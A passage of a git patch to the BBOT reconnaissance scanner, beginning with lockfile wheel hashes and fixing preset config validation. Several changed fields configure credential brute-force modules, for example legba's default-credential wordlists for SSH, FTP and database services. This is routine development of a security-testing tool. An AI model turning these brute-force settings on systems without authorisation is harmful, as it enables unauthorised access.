"https://files.pythonhosted.org/packages/ce/d5/870e740a7cc8d44e4939cfb065f8a8d7d6870b790a6c35bbbd3157d920ae/blasthttp-0.8.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:04994ff6475c253a8a1d21d48c28f100d1bd971b060e249b4d92b283418942ce", size = 4419858, upload-time = "2026-06-03T16:42:02.733Z" }, + { url = "https://files.pythonhosted.org/packages/a0/47/779d9619a47a19ada6d32556f63983b100ffcd963aa1b729c58c89c89357/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ea400428e382c1895876c6bbc47e3d79d0eaef25b6c50479262595ca22106e27", size = 5053409, upload-time = "2026-06-03T16:42:10.735Z" }, + { url = "https://files.pythonhosted.org/packages/0b/f0/f30b9408b917299e6503bece467db802993310341cd447ebdb29096a0bae/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:e4979eaa9611b97f735eb6a46d0f77d2648d5121da1102252524bb099e794de1", size = 4371652, upload-time = "2026-06-03T16:42:19.302Z" }, + { url = "https://files.pythonhosted.org/packages/74/9d/74952ed6322a8a18fa8062618f73b91a0ad88d69092963432f8d71f54728/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:005719f09b8a5720eca7cc7be1d6b821292e2a7cc28463c505e352330a5a2cfc", size = 4798263, upload-time = "2026-06-03T16:42:27.529Z" }, + { url = "https://files.pythonhosted.org/packages/24/47/8c19097109946ac995dc3e49d0cbd416b74ee1e1c9dfe285653944e5da72/blasthttp-0.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:72905248b0dd7b265d4c5ce38e788d01e6fa37b52bea93a0a88f06ff148500fb", size = 4763936, upload-time = "2026-06-03T16:42:35.757Z" }, + { url = "https://files.pythonhosted.org/packages/d0/76/79b81c1f12855ff9383a08d77a80e36c56fc1852d769206dd53639082300/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:f430adde5ea5bd256eff384b1a597d1b531098e778832793185c1089fd5b326b", size = 4762675, upload-time = "2026-06-03T16:41:21.002Z" }, + { url = "https://files.pythonhosted.org/packages/0c/be/8622197fb0b314aec8911b6dc23365dfb8c1a3a18c30d054bc25cd493d7b/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:3995fa2bfd63c53b88c3c0935db3e83cc2e0bea47d833d1400eb4b1c3f1f051c", size = 4068872, upload-time = "2026-06-03T16:41:29.791Z" }, + { url = "https://files.pythonhosted.org/packages/af/1d/42cd96c86f299efa5adf2331598a5098615b0f554c160747539ed655984e/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:84e8fd4d1ead51ccd8b2e01f2c0366fde74eabc280d9c2ef8ced75d5cdf58ccb", size = 4670332, upload-time = "2026-06-03T16:41:56.136Z" }, + { url = "https://files.pythonhosted.org/packages/95/2c/368dcea7436bf957f7b1520c6f641bd9a0e7841791bf662bacc1efebd8d8/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:7fc598b6730ecb3ff19cc53c054dc284d1d3172011966c3ac20ae4327e5c7c54", size = 4671455, upload-time = "2026-06-03T16:41:38.802Z" }, + { url = "https://files.pythonhosted.org/packages/1a/bf/52260edadf29b7fc2b7bcb7301ad034aaeb4605c8f85146cf58b2baa9c2b/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0d47973955bcc05f2a527d60b655801c5a8fab7e39d0d5682a980300b7f4747b", size = 4278094, upload-time = "2026-06-03T16:41:47.203Z" }, + { url = "https://files.pythonhosted.org/packages/50/75/d634aedfa9b16b6a68a918fd604ca4eab9d1bce01093b28de16638aa29be/blasthttp-0.8.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:284a89501ee21176c45413335a8a33985d2cd89a1fa27897b504f26bf8f26607", size = 4417252, upload-time = "2026-06-03T16:42:04.281Z" }, + { url = "https://files.pythonhosted.org/packages/1f/cb/337aa749f8c4a93c7dd23b038a450b30fd860474e0f801b18c9e77655fc8/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:21f516fa245327a7799dea294bd0ad51ab113910d3f4a36db84db0c03c42f7c6", size = 5050777, upload-time = "2026-06-03T16:42:12.391Z" }, + { url = "https://files.pythonhosted.org/packages/07/5f/03a8cf80af2bea3fda5e1ab05610e9f1d63e8b941070a18d61e8f402a335/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:61680c32f5f13e4653b793599700505f1be8c3e7b1a8f8e3f6eb2fcd641c8cae", size = 4367115, upload-time = "2026-06-03T16:42:20.812Z" }, + { url = "https://files.pythonhosted.org/packages/24/b3/b85722cd76ecb1c4fd7ce29721bb2ea3cb25a1780a0084e103b581bd7d3b/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:9a6734b00d24ca6f8a05e6522657a79b94eb6910a168a618cff6b5cb0a70cee5", size = 4794630, upload-time = "2026-06-03T16:42:29.14Z" }, + { url = "https://files.pythonhosted.org/packages/59/17/35bb64ba2897339a24cf6ba01040e948925ca821d04b172b9d5bd2aeed3c/blasthttp-0.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:8a450c7ff0200997e9295445b9c6b74116fecedd8d1ea63948358227f280b7b0", size = 4760089, upload-time = "2026-06-03T16:42:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/ff/14/1f2a79d684b3f90f61bf48a0c0d6c9059565376549ec03b7be0f663b296b/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:434b2b0e74f001bc1ed632a35f06a05b4152836d1a7eeb39b2c867e319f66b4d", size = 4763470, upload-time = "2026-06-03T16:41:22.959Z" }, + { url = "https://files.pythonhosted.org/packages/f0/49/6f543fa2bcfbf2a0e19d643746927d9f6eb7634c0ac3f4ce227415646c38/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:690d784daf18cef8a0f378fddd726f583923063ce14b0a279c5ff48fb35217b8", size = 4074767, upload-time = "2026-06-03T16:41:31.701Z" }, + { url = "https://files.pythonhosted.org/packages/e4/82/8c2df0463e51e3ee3f1ee8808b3c220ca50240e83cc4fdb38fba35764833/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:6730f5505885653896fa26b078ec4b8daef2935ac8f9b6f41b396f748ab7fd4f", size = 4660618, upload-time = "2026-06-03T16:41:57.789Z" }, + { url = "https://files.pythonhosted.org/packages/83/a6/ff39bb6d752b41e38f1dff43de515c67a329f899dbe1857ddabf4a0db489/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e1ed0c244e2e185ab6e546a61b8e30b61b44adeb539e66f5bd72e07a9f8cf2b5", size = 4662981, upload-time = "2026-06-03T16:41:40.399Z" }, + { url = "https://files.pythonhosted.org/packages/7c/de/f61912ea57e5fd5eaa4aa45a349b519e7e9c330996c11f27dfb595f9392e/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:8aa85157a05f7cbe75d51defddbb7434df5001a602fda3c88245fd9a42525d7a", size = 4280587, upload-time = "2026-06-03T16:41:48.937Z" }, + { url = "https://files.pythonhosted.org/packages/bf/69/510e5e0742f96da1fd97f95fe2ffcd01e0cddca6010bec7a859a841cd82b/blasthttp-0.8.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:30384006892fe222ce410d5d756733aa303c63d458156c9e36c9e79d4d1a7a1d", size = 4413650, upload-time = "2026-06-03T16:42:05.88Z" }, + { url = "https://files.pythonhosted.org/packages/94/f9/684e6236d8daa332f3e8756e2b3587faca1230391a2498978e411f68b216/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a57c574d16a19a55642f14b199f6bfdca2bac592d8209b44011b80339171023f", size = 5049072, upload-time = "2026-06-03T16:42:14.091Z" }, + { url = "https://files.pythonhosted.org/packages/d2/82/e6c0023a878605de2898ee5a1d9ebfe23bc2f28d1ea781768d867cbafe0f/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:8d45ba653a5b065acc527c767b8a9f956f28005c2ac4b3c1cd8c193b034bb498", size = 4380081, upload-time = "2026-06-03T16:42:22.518Z" }, + { url = "https://files.pythonhosted.org/packages/00/be/1fff0f4241a7127be8ff60fd5f3f125eb9098ce77d7ed8d1780913dcb1f5/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d331e88b7a6e10c0d1c82a938e5c92e6895d88db3a0b411a802d20a4c76d84da", size = 4790788, upload-time = "2026-06-03T16:42:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/52/3c/0e2cd16c54943542be8787ef189fa8d139263724bbaf34237388b3879ef0/blasthttp-0.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:8beb63dc1cb86e78800c290cad4e0ea41cca888b404a1aa13f82f2498d41ffc6", size = 4752791, upload-time = "2026-06-03T16:42:38.838Z" }, + { url = "https://files.pythonhosted.org/packages/72/35/102a12e9b4cf264fb8bcce9868f3c7cd5dbb34a1de6dd015100b4418e2b0/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:abe9fd8f56f66a0c062c4c3c2cf4cb54f1864ee372251e613128abdeb2b89577", size = 4762135, upload-time = "2026-06-03T16:41:24.556Z" }, + { url = "https://files.pythonhosted.org/packages/7b/53/d54a652127d8464b28c18d7d3612b8f2bd599637277a7aa139dbe9051348/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:b79e2c28fd75c81aba762fb1d543f4725f89ea566833a99a8578e2b048882209", size = 4072840, upload-time = "2026-06-03T16:41:33.207Z" }, + { url = "https://files.pythonhosted.org/packages/c0/44/9de9d13418cd69f0e1a0bebff7a2b471902e914e6378c2a66b1af0da703e/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:30cec8c7a75d995bad17083705717aae834db91fc84324333f90585f15c18908", size = 4662132, upload-time = "2026-06-03T16:41:59.382Z" }, + { url = "https://files.pythonhosted.org/packages/17/ba/9ee9a69155a06bf69894a706a14222556efaa88d922cbbf604255373b645/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6359720a6630aa75c8fc9656734c299e26b9327c3217e23d5aa8bb57af7f8583", size = 4662453, upload-time = "2026-06-03T16:41:42.155Z" }, + { url = "https://files.pythonhosted.org/packages/cf/39/93092f088ecfba6d8b3067fe253638e107077062909ba4a5a0c08543870e/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:bf2e5852487a36cf81c52571dd33e5e03b8739e0e165dc5cb24b5cf620f66514", size = 4280587, upload-time = "2026-06-03T16:41:50.925Z" }, + { url = "https://files.pythonhosted.org/packages/8a/91/0aa6e6f270c08d8e72b9210df3ad98131152e79797b04a58e139d14a9733/blasthttp-0.8.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:ebc35afa0588e5d29cf41c10712df21acf943b792602cb034c984f75845e4f99", size = 4413146, upload-time = "2026-06-03T16:42:07.482Z" }, + { url = "https://files.pythonhosted.org/packages/ba/ab/481c7433f821f41c94d555b3dcd29eb3d4ded4a1264607740cf801a007ed/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a60a147500a28a82c5c490ee9e304a543183cb17f74d97352262c575844b09ed", size = 5049269, upload-time = "2026-06-03T16:42:15.87Z" }, + { url = "https://files.pythonhosted.org/packages/28/cd/0bc1c950315a809878e2a0b726528a8408e60ee1021a3ed0fc0301bbdf12/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:437b5b2e6eaeb163df2209f53a1400be85ae99709fbca60737c5c983262e1013", size = 4379004, upload-time = "2026-06-03T16:42:24.147Z" }, + { url = "https://files.pythonhosted.org/packages/f9/83/87c15e2bf24d0583785572dd091a72651e6c79015bc3146d1797087037ac/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:013d22c43ca93f5819841d071d54e9a9261b892ccac79a45c2ad478f959dec30", size = 4792370, upload-time = "2026-06-03T16:42:32.474Z" }, + { url = "https://files.pythonhosted.org/packages/c1/57/f7439d58c7c34f4c2c9e86baae96b82b37366f83c70e7a242bdffb2d52cc/blasthttp-0.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c0e6ad1a9af187c5194ed1caa20cabc838852d5f840e23b7d59296661ec0c84d", size = 4753302, upload-time = "2026-06-03T16:42:40.64Z" }, + { url = "https://files.pythonhosted.org/packages/86/bf/a05d5c73d55cc165d0f5ab8c6dbac843547a06d5cab94456307530402897/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:340f85223bf6a5caf1b1337a6cd207e3ec9c891a68e2cf798ec3b2f792a99559", size = 4760019, upload-time = "2026-06-03T16:41:26.369Z" }, + { url = "https://files.pythonhosted.org/packages/f0/87/459221e7caac368f76ce722a91c773eac4b97fa06cb8d9b02aef3378d6ad/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:b4fed5b1fde40981a68c2e51388979820ca10c19d4e918ba14d30986775e1048", size = 4070310, upload-time = "2026-06-03T16:41:35.568Z" }, + { url = "https://files.pythonhosted.org/packages/29/45/7936ef2a85849353a5dc6d3d30cdb09cf3b9a254a5b22f2b1071c8fd5888/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:3aef5de8af4e39fd0c48fcc6d1ed2e2d1ad4b6e08ec4adb731e65c201b4dd7a3", size = 4660407, upload-time = "2026-06-03T16:42:01.071Z" }, + { url = "https://files.pythonhosted.org/packages/7f/21/bea405147a9b5c25c428eed1a643bb75d13af340318fa8ad321ca90598ce/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:8f725cf3af1e29d19d8029a1cc7336a60275f8a7227816822ee1325468f72b4d", size = 4659076, upload-time = "2026-06-03T16:41:43.932Z" }, + { url = "https://files.pythonhosted.org/packages/67/18/c232401bc881a771e460da3683fedb4bd151525bf8a6c28225e2bffa4b28/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:45c05d19fbc9691a4ebb6f3952da3bb29549a54f71921bf76e98aecc7cf69480", size = 4279493, upload-time = "2026-06-03T16:41:52.524Z" }, + { url = "https://files.pythonhosted.org/packages/06/53/d50542f5bae28f2aa6cac9ee465c1ebc8e5030f5ce56ba33a19efd28e062/blasthttp-0.8.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:d8bcc51940a721f9fe5a719649cc0a82d9cd1cda849c0bb8d8e30a9a85123430", size = 4413576, upload-time = "2026-06-03T16:42:09.102Z" }, + { url = "https://files.pythonhosted.org/packages/a0/86/33478451ff04a67a8cffd76d5ebe6520b89931fcb61d8ae0f3637c696350/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3e37825847337904bb0bdf0dc959833431aec3716200d7a23c057c4291755f1b", size = 5047184, upload-time = "2026-06-03T16:42:17.554Z" }, + { url = "https://files.pythonhosted.org/packages/ef/47/12b2246f310e062da827c523b50353ca303414dfff228855c6741d2b6043/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:04c77b2346ed3d5687c95f30815865ed54d4accbd53d4b972ad63f22f32e245e", size = 4375613, upload-time = "2026-06-03T16:42:25.868Z" }, + { url = "https://files.pythonhosted.org/packages/e3/d4/7374eb72e2e2a965fb1a8bd9034377021b64607682d096d7c4c95359f7bb/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:2852f6386e8ed18b46d5e2f8ecf7e8dda16d708fe477176ee31a833990b8b1ed", size = 4791538, upload-time = "2026-06-03T16:42:34.156Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3e/b053e3363d5bee4f2c0411a049718afbc39502db17ecee3cbefe1f73d78b/blasthttp-0.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:45d544be8678c0425cd3f78261e5e986536dc5413424682958901d8210447daa", size = 4752925, upload-time = "2026-06-03T16:42:42.363Z" }, ] [[package]] From 7aa4ddc1a4652d0ea0460c99df41c9d37cb52127 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 3 Jun 2026 13:56:30 -0400 Subject: [PATCH 726/912] Fix preset validation rejecting valid config - defaults.yml now passes its own schema: add web.{http_rate_limit,blasthttp_timeout,blasthttp_retries,body_spill}, max_mem_percent, bbot_io_api_key (sensitive); drop dead web.httpx_{timeout,retries}. Guard test added. - *_wordlist options (14 fields across 8 modules) accept the documented list form (Union[str, list[str]]). - SQL output 'retries' is settable again (declared on postgres/mysql/sqlite Config). - Custom modules whose Config references module-level names are no longer rejected (fall back to accepting their config); a bad custom module_dir surfaces as a validation error instead of sys.exit/uncaught error. --- bbot/core/config/models.py | 20 ++++- bbot/core/modules.py | 18 ++-- bbot/modules/dnsbrute.py | 4 +- bbot/modules/legba.py | 15 ++-- bbot/modules/medusa.py | 4 +- bbot/modules/output/mysql.py | 3 + bbot/modules/output/postgres.py | 3 + bbot/modules/output/sqlite.py | 3 + bbot/modules/paramminer_cookies.py | 4 +- bbot/modules/paramminer_getparams.py | 3 +- bbot/modules/paramminer_headers.py | 3 +- bbot/modules/webbrute.py | 2 +- bbot/modules/webbrute_shortnames.py | 3 +- bbot/scanner/preset/validate.py | 20 ++++- bbot/test/test_step_1/test_validate_preset.py | 87 +++++++++++++++++++ 15 files changed, 169 insertions(+), 23 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index e9a036acd0..698cf308f0 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -183,6 +183,16 @@ class DnsConfig(BaseModel): omit_queries: Optional[list[str]] = None +class BodySpillConfig(BaseModel): + """`web.body_spill` — keeps large HTTP_RESPONSE bodies off the Python heap.""" + + model_config = STRICT + + enabled: Optional[bool] = None + cache_mb: Optional[int] = None + compress: Optional[bool] = None + + class WebConfig(BaseModel): model_config = STRICT @@ -193,12 +203,14 @@ class WebConfig(BaseModel): spider_depth: Optional[int] = None spider_links_per_page: Optional[int] = None http_timeout: Optional[int] = None - httpx_timeout: Optional[int] = None + blasthttp_timeout: Optional[int] = None http_headers: Optional[dict[str, str]] = None http_cookies: Optional[dict[str, str]] = Field(default=None, sensitive=True) api_retries: Optional[int] = None http_retries: Optional[int] = None - httpx_retries: Optional[int] = None + blasthttp_retries: Optional[int] = None + http_rate_limit: Optional[int] = None + body_spill: Optional[BodySpillConfig] = None # The `429_*` keys start with a digit, so we expose them via aliases. sleep_interval_429: Optional[int] = Field(default=None, alias="429_sleep_interval") max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval") @@ -276,6 +288,7 @@ class BBOTConfig(BaseSettings): status_frequency: Optional[int] = None file_blobs: Optional[bool] = None folder_blobs: Optional[bool] = None + max_mem_percent: Optional[int] = None # Nested sections scope: Optional[ScopeConfig] = None @@ -318,6 +331,9 @@ class BBOTConfig(BaseSettings): interactsh_token: Optional[str] = Field(default=None, sensitive=True) interactsh_disable: Optional[bool] = None + # bbot.io API key (used by the asn helper) + bbot_io_api_key: Optional[str] = Field(default=None, sensitive=True) + _validate_interactsh_server = field_validator("interactsh_server")(validate_fqdn_or_ip) # Per-module configs — validated separately, per-module, against each diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 110b5df19a..6ad5b33491 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -139,12 +139,20 @@ def _build_validation_schema(preloaded: dict): module_fields = {} for name, data in preloaded.items(): source = data.get("config_source") - if source: - cfg_model = _exec_config_class(source, name) - else: + if not source: # Module declares no Config — only the universal options apply. - cfg_model = BaseModuleConfig - module_fields[name] = (Optional[cfg_model], Field(default=None)) + field_type = BaseModuleConfig + else: + try: + field_type = _exec_config_class(source, name) + except BBOTError as e: + # The Config references a name not available in the isolated exec + # namespace (a module-level constant, imported type, Enum, …); it's + # valid at real import time. Don't reject the module — accept any + # config for it (its own options just aren't strictly validated here). + log.debug(f"{e} -- accepting any config for module '{name}'") + field_type = dict + module_fields[name] = (Optional[field_type], Field(default=None)) # Some module names (e.g. `json`) shadow BaseModel's deprecated method # names and trigger a UserWarning. The field still validates correctly; diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 19980fa2a1..7b56ae1408 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -1,3 +1,5 @@ +from typing import Union + from bbot.modules.templates.subdomain_enum import subdomain_enum from bbot.core.config.models import BaseModuleConfig, Field @@ -13,7 +15,7 @@ class dnsbrute(subdomain_enum): } class Config(BaseModuleConfig): - wordlist: str = Field( + wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", description="Subdomain wordlist URL or file path. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/legba.py b/bbot/modules/legba.py index 50463b0ef5..221229641e 100644 --- a/bbot/modules/legba.py +++ b/bbot/modules/legba.py @@ -1,4 +1,5 @@ import json +from typing import Union from pathlib import Path from bbot.errors import WordlistError from bbot.modules.base import BaseModule @@ -30,31 +31,31 @@ class legba(BaseModule): scope_distance_modifier = None class Config(BaseModuleConfig): - ssh_wordlist: str = Field( + ssh_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt", description="Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - ftp_wordlist: str = Field( + ftp_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt", description="Wordlist for FTP combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - telnet_wordlist: str = Field( + telnet_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt", description="Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - vnc_wordlist: str = Field( + vnc_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt", description="Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - mssql_wordlist: str = Field( + mssql_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt", description="Wordlist for MSSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - mysql_wordlist: str = Field( + mysql_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt", description="Wordlist for MySQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) - postgresql_wordlist: str = Field( + postgresql_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt", description="Wordlist for PostgreSQL combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).", ) diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index b0a2d2e04b..2be1333f9c 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -1,4 +1,6 @@ import re +from typing import Union + from bbot.modules.base import BaseModule from bbot.core.config.models import BaseModuleConfig, Field @@ -16,7 +18,7 @@ class medusa(BaseModule): scope_distance_modifier = None class Config(BaseModuleConfig): - snmp_wordlist: str = Field( + snmp_wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt", description="Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index 5d0438aede..b09d101b48 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -16,6 +16,9 @@ class Config(BaseModuleConfig): host: str = Field("localhost", description="The server running MySQL") port: int = Field(3306, description="The port to connect to MySQL") database: str = Field("bbot", description="The database name to connect to") + retries: int = Field( + 10, description="Number of times to retry connecting to the database (1 second between retries)" + ) deps_pip = ["sqlmodel", "aiomysql"] protocol = "mysql+aiomysql" diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index 93ace12111..a94ade61b8 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -16,6 +16,9 @@ class Config(BaseModuleConfig): host: str = Field("localhost", description="The server running Postgres") port: int = Field(5432, description="The port to connect to Postgres") database: str = Field("bbot", description="The database name to connect to") + retries: int = Field( + 10, description="Number of times to retry connecting to the database (1 second between retries)" + ) deps_pip = ["sqlmodel", "asyncpg"] protocol = "postgresql+asyncpg" diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index d1f43d063c..f48b800554 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -14,6 +14,9 @@ class SQLite(SQLTemplate): class Config(BaseModuleConfig): database: str = Field("", description="The path to the sqlite database file") + retries: int = Field( + 10, description="Number of times to retry connecting to the database (1 second between retries)" + ) deps_pip = ["sqlmodel", "aiosqlite"] diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 251ef2d03b..4c4db8dc0d 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -1,3 +1,5 @@ +from typing import Union + from .paramminer_headers import paramminer_headers from bbot.core.config.models import BaseModuleConfig, Field @@ -17,7 +19,7 @@ class paramminer_cookies(paramminer_headers): } class Config(BaseModuleConfig): - wordlist: str = Field( + wordlist: Union[str, list[str]] = Field( "", description="Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 88efd613ba..54ca00a602 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -1,5 +1,6 @@ import itertools import string +from typing import Union from urllib.parse import urlparse @@ -23,7 +24,7 @@ class paramminer_getparams(paramminer_headers): scanned_hosts = [] class Config(BaseModuleConfig): - wordlist: str = Field( + wordlist: Union[str, list[str]] = Field( "", description="Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index c235f2b550..48fac10a65 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -1,4 +1,5 @@ import re +from typing import Union from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule @@ -42,7 +43,7 @@ class paramminer_headers(BaseModule): } class Config(BaseModuleConfig): - wordlist: str = Field( + wordlist: Union[str, list[str]] = Field( "", description="Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/webbrute.py b/bbot/modules/webbrute.py index 9a74989f2b..b3e9631ccf 100644 --- a/bbot/modules/webbrute.py +++ b/bbot/modules/webbrute.py @@ -20,7 +20,7 @@ class webbrute(BaseModule): } class Config(BaseModuleConfig): - wordlist: str = Field( + wordlist: Union[str, list[str]] = Field( "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt", description="Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index 82ed14888c..a74294f6d1 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -2,6 +2,7 @@ import re import random import string +from typing import Union from bbot.modules.webbrute import webbrute from bbot.core.config.models import BaseModuleConfig, Field @@ -18,7 +19,7 @@ class webbrute_shortnames(webbrute): } class Config(BaseModuleConfig): - wordlist_extensions: str = Field( + wordlist_extensions: Union[str, list[str]] = Field( "", description="Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).", ) diff --git a/bbot/scanner/preset/validate.py b/bbot/scanner/preset/validate.py index bcb46a7756..0f2745c8e9 100644 --- a/bbot/scanner/preset/validate.py +++ b/bbot/scanner/preset/validate.py @@ -26,6 +26,7 @@ from pydantic import ValidationError +from bbot.errors import BBOTError from bbot.core.config.models import PresetSchema from bbot.core.helpers.misc import get_closest_match, get_keys_in_dot_syntax @@ -201,6 +202,8 